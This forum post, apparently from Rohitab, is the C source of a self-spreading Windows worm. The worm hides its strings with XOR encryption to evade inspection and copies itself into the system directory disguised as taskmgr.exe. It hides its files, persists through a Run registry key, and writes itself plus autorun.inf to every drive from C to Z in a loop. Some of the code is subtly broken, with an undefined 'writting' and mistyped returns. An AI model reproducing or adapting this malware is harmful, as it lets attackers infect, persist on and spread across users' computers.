Worm.Win32.Disposable - Hav0c - Rohitab

/* disposable.c - coded by Hav0c

This l33t <span class="searchlite">worm</span> is the first one I've made

that uses encrypted strings to avoid being

too suspicious when opened with hex editors

or even windbl0wz notepad. Spreads by copying itself to drives

(from C to Z, without checking if they are removable or not).

Compiles with Dev-C++ (I run it with WINE).



PS: I hate skiddies

PPS: Blasted Mechanism FTW!!1

*/



#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>




char teh<span class="searchlite">worm</span>[]="XXpewoicv*a|a"; // \\taskmgr.exe

char regkey[]="WkbpsevaXXImgvkwkbpXXSmj`kswXXGqvvajpRavwmkjXXVqjXX"; // Software\\Microsoft\\Windows\\CurrentVersion\\Run\\



int decrypt(char string[], int key)

{

    int strsz=strlen(string);

    int i;

    for(i=0;i<strsz;i++){

        string[i] ^= key;

    }

    return string;

}



int CheckForMutex(char tehMutex[])

{

    HANDLE hMutex;

    hMutex=CreateMutex(NULL,1,tehMutex);

    if(GetLastError()==ERROR_ALREADY_EXISTS){

        ExitProcess(0);

    }

}



void RootKit(char file[]) // Not a real rootkit obviously, just hides some stuff

{

    SetFileAttributes(file,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);

}



void MakeRegKey(char destiny[])

{

    HKEY hKey;

    char buffer[MAX_PATH];

    strcpy(buffer,decrypt("pewoicv",4)); // taskmgr

    if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,decrypt(regkey,4),0,KEY_SET_VALUE,&hKey)||
        RegOpenKeyEx(HKEY_CURRENT_USER,decrypt(regkey,4),0,KEY_SET_VALUE,&hKey)==ERROR_SUCCESS){

        RegSetValueEx(hKey,buffer,0,REG_SZ,(const unsigned char *)destiny,sizeof(destiny));

        RegCloseKey(hKey);

    }

    else{

        ExitProcess(0);

    }

}



void DriveSpread(char shizzle[])

{

    FILE *fp;

    int n;

    char buffer1[MAX_PATH],buffer2[MAX_PATH],buffer3[MAX_PATH];

    strcpy(buffer1,decrypt("G>XXeqpkvqj*mjb",4)); // C:\\autorun.inf

    strcpy(buffer2,decrypt("G>XXLer4g*a|a",4)); // C:\\Hav0c.exe

    strcpy(buffer3,decrypt("_eqpkvqjYXvXjktaj9Ler4g*a|aXvXjWlahhA|agqpa9Ler4g*a|aXvXj",4)); // [autorun]\r\nopen=Hav0c.exe\r\nShellExecute=Hav0c.exe\r\n

    for(n='C';n<='Z';n++){

        buffer1[0]=n;

        buffer2[0]=n;

        if(CopyFile(shizzle,buffer2,0)!=NULL){

            RootKit(buffer2);

        }

        if((fp=fopen(buffer1,writting))!=NULL){

            fprintf(fp,buffer3);

            fclose(fp);

            RootKit(buffer1);

        }

    }

}



int main()

{

    char sysdir[MAX_PATH];

    char <span class="searchlite">worm</span>[MAX_PATH];

    CheckForMutex(decrypt("Ler4g[Ksj~[@mk",4)); // find it out your self

    HMODULE GetModH=GetModuleHandle(NULL);

    GetModuleFileName(GetModH,<span class="searchlite">worm</span>,sizeof(<span class="searchlite">worm</span>));

    GetSystemDirectory(sysdir,sizeof(sysdir));

    strcat(sysdir,decrypt(teh<span class="searchlite">worm</span>,4));

    CopyFile(<span class="searchlite">worm</span>,sysdir,0);

    RootKit(sysdir);

    MakeRegKey(sysdir);

    while(1){

        DriveSpread(<span class="searchlite">worm</span>);

        //Payload here(function not included to avoid �b3r unl33t skiddiz <_<)

        Sleep(20000);

    }

    return 0;

}